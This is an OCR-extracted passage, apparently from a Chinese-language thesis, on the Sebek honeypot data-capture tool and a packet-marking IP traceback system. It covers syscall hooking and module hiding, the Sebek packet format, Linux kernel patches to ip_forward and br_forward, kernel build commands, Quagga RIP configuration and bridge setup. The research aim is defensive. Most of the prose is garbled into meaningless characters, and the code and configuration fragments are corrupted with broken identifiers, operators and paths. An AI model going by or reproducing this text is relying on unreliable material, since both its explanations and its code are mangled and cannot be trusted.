#h A copy | honeypot 42 > sebek st it 49 8 LT 2e4kT » A4 - - Bkl o
Z B E & e A sebek 1T L kR ok o st pEFH m@ﬁiﬂ {6 {8
sniffer 4 i# 7 3| sebek ey @ 5 -
B Web A4k su? 224 Honey pot 3 {% = éhdiaet L 2 I{ I G JE
£ 5 =3 - Honey Wall 4% B35 % Honey pot- 2. & & 7 Log @ﬁe%]i LN 35
1o d > Sebek & 45 17 ip Sniffer & Feis 1 A4k SeDF A B #3915 18 Sebek
Pl A& 2 o

7.1 Sebek %

Sebek e 384 = = B - client fo server - Client = j¢_honeypot # B~ 3 1 ® ﬁi;—]

D el server o o Client =45 A #872 sNic B T4l 1 % - 88 B R
SE A e B0 % - A topdump 15t s R A e A e F TR R (S

T @I AR O FORE > 2 T S b AT #edEdk 0 ¥ osebek i@ * UDP protocol
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BT 5 o
___-r""_""‘“__a-
.'J_-_/ .l-"_|—\.|\\‘
= internet
Intruder TN =
'_-HF'.FA\""—."!
Inbruder Lses BSH o protec] comemunications
l...Cnm ol intruder actiaty covertly expoted anto LAN . < S Hﬂﬂe}'wa"
' Galeway
v - Sebek Servar
Honeypot A Honeypai B Honeypo

B 13 - Sebek i
F B E Al s sebek 38 % o Client #-%2 % % A honeypot 42 > :’r.i?;fiﬁ 7L AR B

FE# P e > 72 d honeywall gateway Jz & °

Client # = 2 % honeypot =7 kernel space > 1245 Linux i 4 crfi-jw it LKM 37 3¢
417 o Client 55+ 1345 * = i 3§ read() system call s#73 F4L > $4 {7 sebek
honeypot 17 ¥ 17 ¥ i e 3\ e i at ?ﬁ—'ﬁ;'] I3 server #7 heie B 0 15 server Yo i

“73 honeypot 4 i¥ L o

7.2 Sebek R f§ A
Client Data Capture :
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User Space Kernel Space

Linux 2.4.x Kernel

ssize_1 read(int fd,void
*buf size_t count);

Qriginal Read |Original Write

NG/

\ / Read Write

/ [ Syscall Table

/ Sebek Kernel Module

l

New_Read

Standard Library

Aiepunog jauiay /

v

Data logger

B 14 - Sebek B @ p
Bl 5 Linuxkernel 2.4 0z > e kenel 2.6 - WIin32 8. » E 5 * 4pk > 2 &

#-F & e System call Table #735 9 system service routine address #< 5 p & B 4+
£r1 module routine address > ;“ﬁ“t‘* Rl4x(inNew_read )3 if iF systemread sp 7 >
B is ¢ w 3| A~ chservicerouting(Original Read) » 1 Sebek 3 ¢ p]4% read ~ write

socket ~ open & services -

Client Module Hiding :

Linux 5= & 41 * rootkit *£ & chH 77 > - Sebek # § 5 module % £ module
linked list # #5t » #7127 i {5 Sebek #-& i 34 7 = & WIn32 % 4 Bl L4 +
% Hook t % i NativeAPl @ » #rr s £ 2 27 Linux § £ B > % Ephors

ﬁvDriverﬁ%“,%i’r’? vw Fl 2 g FIZERTHR A B2 D W @ % Sebek o

52



Client Packet Export :

Linux 2.4.x Kernel

Socket Interface

&

v

TCP/IP Stack

Netfilter

Sebek Kernel Module

Transmitter
Data 'y
logger

Packet Generator

Y

Bl 15 ~ Client Packet Export

LA AP > R~ RE T A FE S AT RS e (sniffer)

i R I Sebek gt HT gt kR * AR A A ens 2 > B4R T] eh Log TR
L 4te 40 B 4te @3 Network Driver 38 :% 3 Bjz=3 i # ;& 2 .00 - 4
é’ﬁ@ﬁ%‘)ﬁﬁii i% iF Socket APl @ i% 4+& o

ks > L0 WEE A L%'FL]‘:EL_J}’%-ZZLN&WOFK Driver # #3330 (4 47 » Sebek ¢ #-
Linux ¥ «/proc/net/dev p % &%@ﬁ%]i#é’ #E > dof honey pot & * it #ic o 14
g4 1R s WIn32 Pl £_% # Hook © NDIS(Network Driver Interface Specification):
WigIlAp M e T o

A Sebekverson3 ® » & ik T @ﬁ%]éﬁprotocol B2 MEVR AT A ARYE

- B ¥_Sebek version 3 ¢ & ﬁi%l protocol £ header :5-fm 7 4 -
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32 bits

Magic Value

“arsion Type

Counter

Time seconds

Time microseconds

Parent process ID

Process 1D

User 1D

File Descriptar

Inode

Command Mame

Length

B 16 -~ Sebek Protool version 3 Packet header

#7eh protocol header ¢ 2

-

D - R o dot 1R Ao el i o parent

process ID(PPID) > vz 2 inode- ¥ ¢t A type #§f ¢ £ 32T 7|37<h system calls: read

(0) » write (1) » socket (2) > open(3) -

izt
Magic

Version

Type

Counter

Time_sec

A

Unsigned 32 bit Int

Unsigned 16bit Int

Unsigned 16bit Int

Unsigned 32bit Int

Unsigned 32bit Int

54

aF
(3

wom & P {3k > Sebek i

* Magic %3k w] 7Rt

.
BeFRER

Sebek fa ik iR A 0 F R
* 51"

sed gl o o Bohh L
0> AL 1o B o %
TR e

PDU 3 #c® > * k3]
PR E A o R



Time_usec Unsigned 32bit Int Fl 4 i F) i

PID Unsigned 32bit Int g4z ID

uiD Unsigned 32bit Int * = ID

FD Unsigned 32bit Int pE R

Com 12 Character Array whke b L3 123
z A

Length Unsigned 32bit Int 8 =~ PDU ¥ ®% & B

HEIT S o Sebek T E i

% Sebek #E read() s LA * > T A s ) B oo T AR TR Fao oz
&&f PID~UID ~FD 4= Com # fiﬁﬂ’”;f‘;‘% kp P PRSZEAA 2 drgRoo Time_sec
WA LR § R AT I E o

ngth%&ga“z&’?pﬁ - FiE v ak )§o%ir'%,{kread();%qr35‘??7}‘1:71{&_,‘1,\%]@
#AMTU > Sebek § 4= 3 SIchFa & 5 B A P UG RhERBH & Bo Y
Ré& 57 % e Sebek 2455 o

=k

B Sebek * < rpimil g gt- BRA R Y K2 FOTH e FRBFERET 6 ik

BFHe L% UDPy UDP B 4% Ffrif L % & B fie » ¥ ¢ Sebek &
sMagic #f e FArig LK TP E T e o 4ok B i % UDP R s #-¢ ke
dORLR S N AR TR e 0 4t Magic B F T R 4 RRIDEER > T
fr P 1835 ¢ A 4 281,000,000,000 f&ie & - 4% 5 F 4255 4 547 £ % & 500,000

il 7NAET RS 65X SR kiRl o

7.3 Sebek 724

BRAEL Y Sehek i r BERRIT] R ALY MR A AT Pt
i rootkit st iRl 1 B i € e RI 5] Sebek > HTrs ~ K W TR F AL ST
is Edes o

LLinux * = =8 i2fih & K p PP e R a/devikmem # i 0 U ahFt i
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AFp AT TR LINUXK A PREAYE Lo APT I @Y U iP% sk Seheky » 2
Ho T U kAR T M Sebek o 38 h Ao § Sebek M P chpFiz o~ &
F R A AR R M P e e E TR e ARk - B
AR TI R G e 2 B PRTrsh R Sebek A PFiEAL IS 2 B P 2
j‘% o

74 gﬁ-'fﬁ’* v

T4 - #ﬁsmﬂ’%ﬁf‘ » Sebek ¥ Z"ﬁt\.,& éqﬁ%%y o 1L hrdk ~
S‘:—*F]’ AT ALY REBT ST AL E 2 ¥ _+F.]f o % 7 RS Sebek BB i
Btk O BB e o

P10

5 Hp 45 & ¢ Sebek fi 1 enFORL E e Befo 38 TR e BS A HB— e A
)2

I o)
PeR AR B R REATERRIA D E PR T L ETRA R HE

£ Sebek chRHEETIEF A hge bl v A IRT 4 1) Sebek FAL e o
Eivi%‘“ﬁﬂi—*ﬁﬁr%éﬁrﬁﬁp e rTfEen i i b & K Sebek 0 FRAEIZE T L A

e o U A48 T 5 B Sebek FAL Dl o 57 8- A AT mtﬁg Ak
B2 Gl Sebek - i rootkit #d o AU B L
AR R AR o
75 % BB ¥

TR R Sebek * P if i@ (70 T REA P g - TAoR & X

P
e
Pt
e
|
=
]
S
=
)
-
7
<
>_L

Pie PHNE XL P RALFHE LRI P POEFRA AP T R AP RR S
A P RAD f 2B Sebek o F P s E 0 d X o B e Rihtar & o i
Btar e ¢ 77 sbk install.sh%rd :z@%ras 77 Sebek % %64 4 frfe ¥ S0

im0 Z i E ey g s RS ﬁ"*? AR TR YA Bk skb_install.shif‘u
FRipp L XpPiite . ShY%ry ~BRE S - LHFERD T
FAEFNE & % 4 e c0iE

D REEE GG 0 R Leth0e 3 R E IPina .

PrigBiF e i #r5 22 HSebek Fle & * chp R IPnkod ** Sebek
JRARsh e Tkt e chpFiz 2 5 P AR IP ik > AT iedl g F Ao B & Sebek JRIREh
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P> @ 2 s AdaE 0 F R~ &Jﬁ—pfjgg‘:?q‘i PRI M ¢ o iR A48
4_Honeynet #2 % i F i 5 o

P % MAC i=xt :
wE
Bt

TRt TR PR < MAC =4t > P MAC ¥ 1Y
N E Mg e v RE X FRFREFREFREFRFF #3142 973 che B 45

b 3
B RRIE ] T

Magic & ' iz BiEEE PR > * AT THIMBe R ER 07K HF
fe b1y & %0 Sebek ;Kffe‘ * 4p e e Magic Efr P 1R o

P % UDP 3 i@ fff = %Lk Sebek T4 ¢ &

chp & UDP # - i .2 & Magic
B RFERRHEL R FRER

F UDP 3 @ iz B 2 & 7 Sebek Fi#l & ik UDP 3 -

Rredriad BT R RS 180 00Kk B S 1o 78R Sebek N o B Fa o

R B o p o B o do % R SCPAR 4 L A
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mcc z 192.168.3.0 19216833 192. 16833
152 16840 19216843 19216843

Zas N i %7 N D E ek |

subnet| subnet2 subnet3

MCC 2 # traceback 24 48: 192.168.2.3/24->192.168.3.3/24->192.168.4.3/24

B 23 ~ Traceback = ;¢

R 23 ¢ 0 7 fRESEE e 3 e
Stepl:MCC iz 45 % 34 if i+ destination |P > #rif & » subnet3 42 c7 MPC3 i
Step2~3MPC3 1245 FALE p cnF L > Frig & » MPC2 % 3 - MPC2 4245
FTRER TR i 8o MPCLi 439 > 515 MPCL &% - B
WA MPC > #7110  2g ATt T oo
Stepd: MPC1 e w & 35 cnds 15 > w 52/ % MCC -
p IR IE RS 1D 1 0 7 & K- 11D # 3 5 gateway > L’éﬁﬁ‘%ﬁ“d LR -l
N e MPCIID ¥ gateway 4p ¥ & eiie 45 » #- 11D i w #1 )& gateway o
F Mt B endte > PlEd MCCw 23SMPCA 8 £.F 3 2t £3e8 > 35 0
It zgateway © &MCC% 41 » v gateway -
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19216831 192.165.13 1716811 19216821
ciy) um] ' l-umt cthi) _
MPC4 | | MPC5 [T Swikh
_uthl
192 16532 10116841
eth
Mec PC2
1921686, | MPC3 ' '
ol chl | 197 16825 192 16827
S |
1916831 192 168,100
= ‘
MPC2 1 ] MPCI PC1
1 el el ot a0
192,168 12 : 192 16 B 4
15216891 191 16892 19116881

Bl 24~ 39 3o 2 3 Bk A 2 1R

AL R e
55 MPC~2 & PCHr— 5 Switch -

) .
PR LN

#ic 1 « Linux — Ubuntu 8.04
« Java SE Development Kit (JDK) 6
« MySQL Database
- Quagga
MPC A 8 « Intel E7200

- MD Gigabyte EP35-DS3L P35/ICH9

+ 4GB DDRII 800 RAM

- VGA GeForce 7200 series (128M)

+ 640GB HD
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MCC

VEER T
MPC

S/

&Y

S/

&Y

+ PSU 350W

+ DVD-ROM

+ Network Interface Card(NIC) x 2
+ Microsoft Windows XP

« Java SE Development Kit (JDK) 6
« Intel E7200

- MD Gigabyte EP35-DS3L P35/ICH9
+ 4GB DDRII 800 RAM

+ VGA GeForce 7200 series (128M)
+ 640GB HD

- PSU 350W

+ DVD-ROM

+ Network Interface Card(NIC) x 1
+ Microsoft Windows XP

« Intel E7200

- MD Gigabyte EP35-DS3L P35/ICH9
+ 4GB DDRII 800 RAM

+ VGA GeForce 7200 series (128M)
+ 640GB HD

- PSU 350W

+ DVD-ROM

+ Network Interface Card(NIC) x 1
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MCC « Java A2 4 17
R VA
PC o bl
e e B EE R R4 R o
e i L e it B .
kit e e B kehdte e p FHEBN R BEHIITRE -
FHREGP D FREGRR D AM BEEFF o

Java Az  #4 7 1 B T i iJavaGUI i g gl i o

5.3 HHEH

MPC #8828 # > &% Z4F o Ubuntu8.04 ¥ » o 3R ipecd i #cif {4« Kernel
2.6.24.6 s~ A > I % K13 2Tif (S 0425 75 Bridgemodules ¥ MySQL F 4L 2 > &
ts £ % % Apache Server > 4t &8 548 % - Bl 4o B 25 #7771 -

MPC
Linux - Ubuntu

Kemel-26.246 || User Space

i) — Dol

I."ll'” “‘l”i. e &

B 25 MPC #c4 % 4 ]

Kernel-2.6.24.6 2% > » IID % % (1% #ic > mpeset.o §_ A ié # Jﬁ;ﬁi—i‘r #rid

* A2 38 mpeset.o 4258 F i TR {170 o lic o Modules 3R i o i€ i 2o i 2
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#oi o @ 4te 5d Bridge i ivie o 4ok de » p B R #a 0 Pl
ok ip_forward.ci& fFHhie o R ¥ 2 5 o mylo ¥ SR TAE > BT
Lieciedy > mydo bR ALY BAEt > B EFF AR U&,P P T

MCC i % Traceback.java (B3] /1 & - & (7B S iE BE > 4 Socket #- 4 39 e
NE@iET MPC» 2 {8d MPCSidejavatre e 2 v MPC (7R S w i » £ #
s £k % % v g% MCC -
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X1

&= 5 MPC SHAL R S04R 7 Al R B B dod 2 lo - R 7 7
SF MPCH iz fe % # g

R I BN F

CPU Intel E7200

M otherboard Gigabyte EP35-DS3L P35/ICH9
RAM = k] DDRII 800 2GB x2
VGA GefForce 7200 series (128M)
HDD WD 6400AAKS 640GB
PSU > 4P 350WAPFC
NIC 2 Card

% . 20~ MPC # 8 414

62 ARG kX ERT

PR &7 REITE L% # % Ubuntu8.04LTS: H Linux %< 5 2.6.24.6
Ao #-Ubuntu8.04 (7 h st 5 AT EREL > B E TR Plans
FEY 3 > 4 F & ehy g+~ libneursess-dev ~ bridge-utils ~ mysol-server-5.0
phpmyadmin -~ libmysgiclient15-dev - quagga > & 45 4 #.% & ¥ % &4p 4 > “7 &
& Fehdg £ 4o

# apt-get install g++

# apt-get install libncurses5-dev

# apt-get install bridge-utils

# apt-get install mysgl-server-5.0

# apt-get install phpmyadmin

# apt-get install libmysglclient15-dev

#apt-get install sun-java6-jdk

#apt-get install quagga

CHE S TS T3 SR SIS ES SN Y
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6.3 kbt 33 %
S ELINEE L SRR TS SR TAE PR T2
B F o FIE R R AP RTH REEF Pha o B FI MPCHrk 4o » B0 f
Bad et i Bed B0 #H8 7 ¢ 56 bridgemodule 535 0 474 F R 4 i i
erip_forward.co # 3¢ i PR o & 4o~ ¥l - B ’)‘Iﬁ{MYIID ,
£ - 5 MPC#7 5 § thihih o
Havie- BREB 7B IDPF > 2 F & AT 5%FPC > 55 B

L EEE

= 5
N
<ol
I
i
=)
tH

(23
5

b

A RUHs 0 B PES R0t 0 SRR T o user space i 47

(iﬁ

&k

I
|
1
o4
&

N
S

gigie o ¥ LLLIT‘JE?%'-Q\%% system call (a8 > v a5 d @
B F
BARPEPL AR S 0 www.kernel.org i (7 kernel e 4t o SR e
et 5 2.6.24.6 hfull source > #-sourcecode T Y 2 iSRRG 0 Lkl AR
L% 5 fusr/sre/linux-2.6.24.6 & T o
e F o & Jusr/sre/linux-2.6.24.6/include/linux/ e #73# — B p 37 ek gg
#h mysyscallh” » 3 & chsgdicy &£ > B ) F e
#ifndef  MYSYSCALL_
#define_ MYSYSCALL
unsigned int MYI1ID;
#end if
B IR A5 A % /Linux-2.6.24.6/arch/x86/kernel/syscall_table 32.S» #
fo 4e b A& R e function & L
Jog sys setlID [* 325 */
Jog sys getlID [* 326 */
£ 35 31 ¥ = B £ % /Linux-2.6.24.16/include/asm-x86/unistd_32.h =
lusr/include/asm/unistd_32.h » 45 3|3 - #define __NR_fallocate 324 5 4c + 24 i
klp s7enfunction F 2 0 B Ao T
#define_ NR setllD 325
#define_ NR getlID 326

S ;\: E‘h_’é’_ «"i_i.

i\4

RiPE THFHE > B4 BAP P 7end st > AFH &
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/Linux-2.6.24.6/arch/x86/kernel/ & ™ » 73 4% % “mysyscall.c” » 2R 1S % 8 I 3¢ ¢
#include <linux/mysyscall.h>
#include <linux/linkage.h>
asmlinkage void sys setlID(unsigned int thelID)
{ MYIID = thellD; }
asmlinkage unsigned int sys_getlID(void)
{ return MYIID; }
i #2/Linux-2.6.24.6/arch/x86/kernel/Makefile_32 » e » 35 4 »  obj-y
+=mysyscall.0o” » & C f§i¢ 59 i& {7 compiler {¢ 11 I mysyscall.o 4 °
%7 i 493K module it 43 B BT PR g o & B-% i EXPORT 1 %k »
t 7 AL % /Linux-2.6.24.6/arch/x86/kernel/ » i3 ¢ i386_ksyms_32.c > iz X 485V 75
BAT > den
EXPORT_SYMBOL(MYIID);
2 {8 E B A1t o 0 2 :z/linux-2.6.24.6/init/main.c > A > F i 7
2 externint MYIID » @ # start_kernel =13 ;% p =0 check_bugs(); 2. &+ 4v »
MYIID=1 & % ficic 53 4%F 4~ 45 B D3 0% Hehy £ 82 350K L{b; E A e
% kerndl srisourcecode i iz R 15 0 AP RIBFR K P AP St
3 Jusr/sre/linux-2.6.24.6/ 5 & BT o s Stk R & T G 3R
(1) # make clean
#-Fo~ e & compiler @mﬁ,%,—,ﬁ*—vf s AR IRT A o

(2# make menuconfig

AR ORI S FRBANREL LR T 2 R oA
§F PR R A AN R DI EFIRF RE
EAF TS EAE SN L

(3)# make bzlmage

EAE S N A

(4)# make modules
S e
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(5)# make modules install

S G T =

(6)# mkinitramfs —o /boot/initrd.img-2.6.24.6 2.6.24.6
4 = initrad |/boot F AL & T

(7)# cp /usr/src/Linux-2.6.24.6/arch/i 386/boot/bzlmage
/boot/vmlinuz-2.6.24.6
i B 318 0 bzimage Fl/boot 7L 4 & #x & 5 vmlinuz-2.6.24.6

(8)# cp /usr/src/Linux-2.6.24.6/System.map  /boot/System.map-2.6.24.6
4 %l System.map  /boot AL

(9)# update-grub
{ATHEH

(10)# reboot
EATHE
PRI EATRE EEEE Y ¢ 5 - BR]PTATH o Kernel
FHE ekl R ikd» B & FEin- T /boot/grub/menullst iz- BAR X 0 P (7

KPR HSE I e~ o

64 Bd ¥ XEKE
57 PE B IS et Rr o VP - MPC 4o~ B R ER Y s G 0 @ Rl
Quagga:ift p s> i@ * RIPV2 k¥ 5 B d $23_> 11T 4 Quagga =ik AR5 o
(1) % % Quagga
ZEw quaggaz {6 0 € F 45 L daemons H ¢ zebra f 2 12k kA
A eorouting table» ripd § § 4%z =% i¥ routing update > ¥ ¥ £ F+ zebra
4o e 3 i3 2z routing table -

(2)#vim /etc/quagga/daemons
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& S A
HLFR HdB oS ﬁg%l ~ Esc
X1 A i~ 2w
hiE/etc/quaggal P 4+ ¢ daemons #-zebra o ripd x5 yes F A
zebra=yes
bgpd=no
ospfd=no
ospféd=no
ripd=yes
ripngd=no
©)
#cp /usr/share/doc/quagga/exampl es/zebra.conf.sample
/etc/quaggalzebra.conf
#cp /usr/share/doc/quagga/exampl es/ripd.conf.sample  /etc/quaggalripd.conf
4 W 2 4% zebraconf.sample = ripd.conf.sample |/etc/quagga P 4+ >
I % w73 4% » zebraconf ~ ripd.conf » 3 & { A 7 oo
(4)13 223k TH%
#vim /etc/quaggal zebra.conf
* R AR+ ip ak{e netmask > ﬁr%’ﬁ E2:zip> &2z
interface thX ™ g 78— {34p & % > FRHPE AATH G B RS 7L
% B ATH
interface ethX
ip address X. X.X.X/X

ipv6 nd suppress-ra
|
!
I Zebra configuration saved from vty
I 2009/08/12 09:57:34
!
hostname Router
password zebra
enable password zebra
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interface ethO

ip address 192.168.6.1/24 //3% #_ethO 7 ip f= netmask

ipv6 nd suppress-ra

!

interface ethl
ip address 192.168.5.1/24
ipv6 nd suppress-ra

!

interface eth2
ip address 192.168.3.2/24
ipv6 nd suppress-ra

!

interfacelo

!

ip forwarding

!

!

line vty

#vim /etc/quaggal ripd.conf

AT et F T B e

network X.X.X.0124 [/+ X § F

network ethX

|
I Zebra configuration saved from vty
I 2009/08/12 10:00:06

!

hostname ripd

password zebra

log stdout
!
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router rip
version 2
network 192.168.3.0/24
network 192.168.5.0/24
network 192.168.6.0/24
network ethO
network ethl
network eth2

[

line vty
!

FERBrek T, BRRFGUI G K RV ERE L
KA cdfmde k) d 2 FERE RO FIEDRE > BT RS

fim kT 4o 26 -

Zane e FEP 7T N

O — | 3 i,
=1

a0~ oy m

ol

EEd
NRERR A G120 BERRH O B BA o B T
77
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BE 4 ONS | EA
_ & _mm eth2) 2 Wik
o o8 s s |[gRco)]

v Lo UHMAES (ethl)
Tt el 19218851 THEE...

43 (etho)

o msER
= LRI e

| AEw | = W)

Bl 27~ et U3 X
FEEL X bt DR RTEATIP K o 5~ & ip et

P pfed EREl > BT At ok e 4B 28

o HgEE (x|

I ROREEER (1)
EREE
(e & P 3
1Ptk |192.168,6.1 |
FREES(S) : |255.255.255.0 |
R (G) : | |
 Qmi(g) ] O ®EiD)

7 R \ SEMHEEElL | l L RS \

Bl 28~ it IP3K 2
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4G B R Tt P e e FE L AL AT P
IR RARP A BT S RPE oy~ ifconfigs A B
Afpl ey et G ahip R F L ehOIPR =i+ 7 > F g~ dp £
ifconfig ethO X.X.X.X » 4 fiz IP % ethO > 4[] 28 -

Pt I =

ME=(E) SMIE) BTy SeiD oEE) #id)
[alda] pasaword For wl: =
root@vt 1Pz < ifeanfig E]
‘atho Lirk arcap:Ethernet Hgddr 00:1f td0:87:3a:02 '

ipet-addr:182:180.5,1 Bcasti192,168.6.255 Meski255:255.555.0

LR BROMCCAST MALTICEST MILEISHN Mefricil

e packets:0 errors:0 drooped: 2RSSEESIR0 overruns:0 frame:d

Tt packetsid erporsi0 droppediQ overrunssl canriarid

col lisl om0 txgues fen: 1000

R< bytes:0 (0.0 8) T bytes:l (0.0 B)

Interrupt:213 Base address (4000

sthl Link endapiEthernet Higdde 00180cc re3le = |
imet atfdr:192.1B8.5.1 Beast:192.1BB.9:255 Meski253:255.255.40
IFgtEd addr: fesd: :280:ccfF: fesa:a83f /60 Scop:link
P EROADCAET RUBRIMNG MATICAST  MILEIS00  Matrictl
Fo packefei313639 aerrors:0 droppedid coverruns:i0 frane:l
Tr packets:B3IS0L8 errors:0 droppedin overnuns 0 carriersl
cal lglons 0 togueusden: 1000
R4 rytes 22846590 (21.7 MB) TX bytes :E2859941 (53.9 18)
Irterrupt 122 Bese shiress iOneood

Eth? Llak envapiEtheinst Headds 0Dr80icciedide:e
' irdt addr:1S2.168.3.2 Bragt:lSz,168.9.255 Mask:2S5.255.255.0
(RetE atkdrs FeBl:290iccffifea@iasss/60 Siopnilink
P BRCAOCAST RURRING PLLTTCAST  pMMJS LS00 Metr ol
Fr packEls:BII0RL arrors:0 dropped 0 overnuns 0 T rane:d
T packrtei3ZEEl6 errors:i0 droppedil overrunai0 carrier:l
<ol lisions:0 tuguessien: 1000
RX bytesif3031566 (60.1 MB) T bytesi24DE0487 (23.4 MB)
Interrupt:iS Base sddress:Oxan00

le Link ancaptlacal Loopbssk
fFaat ardr:iie?.0.0.1 Msski295.0.0.0
IhetE athdr: 2217178 SeopeiHost
P LOIPBACK RURNING ML 18438 Metfricil
R packets: 18388 errars2) droopedi( ovarrurs:) Frame:l
T packels: 18358 errorzi) droppedi0 ovarrurs:0 carrer:o
tol lisions:0 trguemslenif)
R+ byteas@042037 (7.6 MB) T bytes:S042037 (7.6 MB)

root@r |-P2: - | feonf g stho 122, 1e88.6.1]) i

B 29 g F
(5)#/etc/init.d/quagga restart

Fods quagga fc 8 0 i TR D 3@ Rk o A E B 1 > quagga € B
BT FAEgERY ﬁi%l » #letclinit.d/quagga stop -
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) T=is > 7% pingdp £ > WARTAF RS> 0 Py route-nig a

S

‘&é

(7)E 2% 244 bridges P& GUI B /i & 2k 2> 5 56 e+ P Bk 2

wBLE ET Y B Y% 4[] 29 ¥ %7 iR quagga ik §8 (#/etc/init.d/quagga stop)
i {7 bridgedp 4 3% € - F & j bridge # v router - RA B E B P T >
* & Jo i bridge 4 # ® i&/etc/rclocal -

| Qmic || O®xw) |

“~J

8 (H) W= | L REERC) ‘

® 30~ ethO &1+

MPC ¥ 1% router &% chpfiz » §.50d p P ord (Fepy F)pb A PR g e id
EE NP R BB EHE DALY LA R REEMPCE o i
Hiedte fhizp 7 o
ha ® oo 4FE a7 BEPF o € 45 ip_forward.c 4% % p ehip_forward i
G038 U T AT R T 0 BT R e e N AR B M B BN o s i F)
& i3 ecenp o
AN T R
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‘“4

(D) wirldte 2T 58 3

(2 FA 7 E3te > Ptk h Flags ff =eh R-bit £.F 5 1> 54 RIE &
B FHE_ 0 Pl#-Rbitxk i 1) £ 5785 checksum @ R {s 2 o

Q) FA AL »tRPIIe A7 5 - Lk 28 M
»a - dEep FF DL ¥ #-R-bitzk 2 10 & 3738 5 checksum > #&

BAEm > EF o Bl A 1ID2 4~ e p F o

1 foi®
1ENE
R-birg | [72 %
i ﬁ'l-_lf‘l ?-?t T L
R-bitdgsi |
FiER
header <
checksum

B 31~ s iF & E A

ip_forward & 3% ez 3N 75

int ip_forward(struct sk_buff *skb)

{

struct ethhdr *ethh;  //marking

struct iphdr *iph; /* Our header */

struct rtable*rt; /* Routeweuse*/

struct ip_options* opt = & (IPCB(skb)->opt);

ethh = eth_hdr(skb); //marking
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/*** Sklp ***/

//additional marking code
if(ntohs(ethh->h_proto) == ETHERTYPE_IP& & ((iph->protocol)==6 ||
(iph->protocol)==17)){
iph =ip_hdr(skb);
if(((ntohs(iph->frag_off))& 0x3FFF)==0x0000){ //M F=0, offset=0
if((ntohs(iph->frag_off))|0x7FFF)==0xFFFF){ // reserved=1
iph->id=(iph->id& Ox00FF)|htons(M Y 11D) ;//add
marking content in 11D2

ip_send_check(iph);

elseif((ntohs(iph->frag_off)& 0x8000)==0x0000){ //r eser ved=0
iph->id=(iph->id& 0x0000)[M Y I D;//add first
markingin 1ID1
iph->frag_off=htons(0x8000)" iph->frag_off;
Ilreserve=1

ip_send_check(iph);

}

else

if ((((((ntohs(iph->frag_off))& 0x2000)==0x0000)& & (((ntohs(iph->frag_off))& 0x1
FFF)!=0x0000)))

& & ((ntohs(iph->frag_off)& 0x8000)==0x0000)){

/lfragmented packet { (M F=0 offset!=0)} and
reserved=0

iph->frag_off=htons(0x8000)"iph->frag_off;
llreserve=1

ip_send_check(iph);
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/[ additional marking code end
/*** Sk|p ***/

6.6 ez ¥ X
& MPC § i% bridge & ¥ shpF i » £ 55 d #i- 2 7 bridge module #7318 i® &0
FIMOA PR @i N F R fi;ﬁd ATE R ) A BE S g R Y
ezt s Bv A GEMPC > fc Jgsivdte fhizp 7 o
& bridge ficie? o e B {7 BP0 ¢ 53F br_forward.c 4 &k P e
_ br_forward iz B 30 3¢ o JI* U AT R T 0 BT R RS AR B B~ 12 B S
FOPR s ,T.%? ME P EE B ienp o
AR T VER
(1) twirl3te L7 G673
(2 FE733te > Rl 4 Flags i enR-Dit LT 5 10 F 80 RIE 4
WA EFE 0 PIERDbitx S 1 €478 5 checksum > fX (SRR o
Q) FE A &I - fRPlIe £F 2 Gy 5 - Lihsns £ %
»E - e p FF DL ¥ % R-bitzk 2 10 & 3738 5 checksum > #&

BHE > EF 0 B 1ID2 4 ~fRE N E o
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3 o 82
ZNE

|1-_|J;

R-bitsg | |7 %
|

=4 _
31 LA Il

EMER
B 32~ fhieiw bk AR

R-bitgg s |

ﬁ]ﬁ

header
checksum

__br_forward & ;% ez 3N g
staticvoid __br_forward(const struct net_bridge port *to, struct sk_buff *skb)
{

struct net_device *indev;
/ladd my thing

struct ethhdr *ethh;
struct iphdr *iph;

indev = skb->dev;
skb->dev = to->dev;
skb_forward_csum(skb);

ethh = eth_hdr(skb);
if(ntohs(ethh->h_proto) == ETHERTYPE_IP){  //ip packet
iph =ip_hdr(skb);
if(((iph->protocol)==6 || (iph->protocol)==17)){ //tcp or udp packet
if((ntohs(iph->frag_off))& Ox3FFF)==0x0000){ //MF=0,
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offset=0
if(((ntohs(iph->frag_off))|Ox7FFF)==0xFFFF){ //
reserved=1
iph->id=(iph->id& Ox00FF)|htons(M Y1ID) ; //add
marking content in 11D2
ip_send_check(iph);
}
else
if(ntohs(iph->frag_off)& 0x8000)==0x0000){ //reserved=0
iph->id=(iph->id& 0x0000)|MYI1D; //add first
markingin [1D1
iph->frag_off=htons(0x8000)" iph->frag_off;
llreserve=1

ip_send_check(iph);

}

else
if (((((ntohs(iph->frag_off))& 0x2000)==0x0000)& & (((ntohs(iph->frag_off))& Ox1
FFF)!=0x0000)))
& & ((ntohs(iph->frag_off)& 0x8000)==0x0000)){
[lfragmented packet { (M F=0 offset!=0)} and

reserved=0
iph->frag_off=htons(0x8000)"iph->frag_off;
Ilreserve=1
ip_send_check(iph);
}
}
}
// end of add

NF_HOOK (PF_BRIDGE, NF_BR_FORWARD, skb, indev, skb->dev,

91



br_forward_finish);

e ot o L i~ Just/sre/linux-2.6.24.6 s F L A KT > ZR {44 7 make
modules 2 2 make modules _install » iI* fe Rt R e d o KSR £
TR ﬁ&)iﬁé‘é A F AT E > )T*Lé‘é 503 eedt e HRER o

Weigeezis BT REZTR AR T BAoN PR BP w e+ ehO- ehl
2 eth2X 5 Ap ke @g 45 o R LORFAR £

(L)# ifconfig eth0 0.0.0.0

eth0 % 5 A #

(2)#ifconfig ethl 0.0.0.0

ethlk 5 A %

(3) #ifconfig eth2 0.0.0.0

eth2 3% 5 A 4%
(4)#brctl addbr mybridge
ATH - B mybridge % % /1 &
(5)#brctl addif mybridge ethO
#-ethO 4« » mybridge
(6)#brctl addif mybridge ethl
#-ethl 4« » mybridge
(7)#brctl addif mybridge eth2
#-eth2 4« » mybridge

(8)#ifconfig mybridge up

k¥ bridge

MPC & 6 ehdg £ s4i7 18 » mybridgefjfaé‘é 33 % bridge fx#- 41 & fi% > ¥ ¢
T 81 E OE & FEL/proc/sys/net/ipvd/ip forward”shiE 5 10 F RS & BT

v g, o
¥ d 0T o

o MPC >/ 2 BAT B3 aRBRee Py k293 NP E 2% A5

=)

12 2 5 “#ifconfig br0 192.168.0.2 netmask 255.255.255.0 up”2. ié i& » MPC en1|P i
iJL:TJD; 192.168.0.2 -
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a7ﬁﬁﬁmg@*ﬁﬁa%ii
Ri o ATHEO R R R REI G RY FRY pEFH
e 3t o ARG # ¥ Ysystem call” > system call #7dp A4 user space 2 3 P~
kernel space k LR HHL L 0 B R T F R I F P Rh 0 F AR AARSHPN S
system call function =% & = % % library » #815 d &0 ;8 B8 S He 74241 -
